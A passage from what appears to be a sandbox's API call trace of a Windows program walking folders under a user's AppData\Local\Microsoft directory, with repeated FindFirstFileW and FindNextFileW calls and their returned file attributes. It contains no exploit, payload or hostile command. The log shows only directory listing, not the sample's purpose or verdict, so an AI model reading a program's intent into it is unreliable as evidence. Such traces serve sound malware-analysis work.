(normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\gamedvr\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0209.693] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.693] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7db342, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x212d1b5b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0209.693] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7db342, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x212d1b5b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 0 [0209.693] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0209.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.693] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x42 [0209.694] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\inputpersonalization\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.694] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.694] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0209.694] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0209.694] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.695] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x42 [0209.695] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\inputpersonalization\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0209.695] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.695] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0209.695] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.695] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0209.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.696] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x53 [0209.696] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.696] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.696] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.696] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.696] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x53 [0209.697] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.697] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.697] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.697] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.697] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x3a [0209.697] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\installagent\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.698] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.698] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 1 [0209.698] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 0 [0209.698] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.699] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x3a [0209.699] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\installagent\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.699] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.699] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 1 [0209.699] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.699] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.699] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", lpFilePart=0x0) returned 0x46 [0209.700] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\installagent\\checkpoints\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0209.701] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.701] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.701] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0209.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.701] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", lpFilePart=0x0) returned 0x46 [0209.701] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\installagent\\checkpoints\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0209.702] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.702] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.702] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0209.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.702] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3f [0209.702] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2061e11c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2061e11c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4302da2a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4302da2a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x430ec4ba, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x19b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2061e11c, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2061e11c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 